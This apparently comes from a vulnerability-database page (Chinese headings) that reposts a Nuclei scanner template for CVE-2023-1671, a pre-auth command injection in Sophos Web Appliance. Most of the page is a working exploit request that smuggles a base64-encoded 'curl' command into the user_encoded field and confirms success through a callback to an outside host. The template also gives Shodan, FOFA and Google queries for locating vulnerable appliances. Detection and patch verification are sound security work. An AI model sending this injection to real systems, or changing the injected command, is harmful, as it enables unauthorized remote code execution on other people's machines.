CVE-2023-1671: Sophos Web Appliance - Remote Code Execution

日期: 2025-08-01 | 影响软件: Sophos Web Appliance | POC: 已公开

漏洞描述

A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.

PoC代码[已公开]

id: CVE-2023-1671

info:
  name: Sophos Web Appliance - Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Sophos to mitigate this vulnerability.
  reference:
    - https://vulncheck.com/blog/cve-2023-1671-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1671
    - http://packetstormsecurity.com/files/172016/Sophos-Web-Appliance-4.3.10.4-Command-Injection.html
    - https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
    - https://github.com/lions2012/Penetration_Testing_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1671
    cwe-id: CWE-77
    epss-score: 0.9429
    epss-percentile: 0.99934
    cpe: cpe:2.3:a:sophos:web_appliance:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sophos
    product: web_appliance
    shodan-query:
      - title:"Sophos Web Appliance"
      - http.title:"sophos web appliance"
      - http.favicon.hash:-893681401
    fofa-query:
      - title="Sophos Web Appliance"
      - title="sophos web appliance"
      - icon_hash=-893681401
    google-query: intitle:"sophos web appliance"
  tags: cve2023,cve,packetstorm,rce,sophos,oast,kev

http:
  - raw:
      - |
        POST /index.php?c=blocked&action=continue HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 4a0a0047304502204c04b4ca73732c7ece6b6b8634516954612bf25b3b00bcd29b4ec53eb3ad2124022100b902a5c67ed0d6f3011391cc30bf315156a1262f20786da4c75c80981d896bca:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1671.yaml

相关漏洞推荐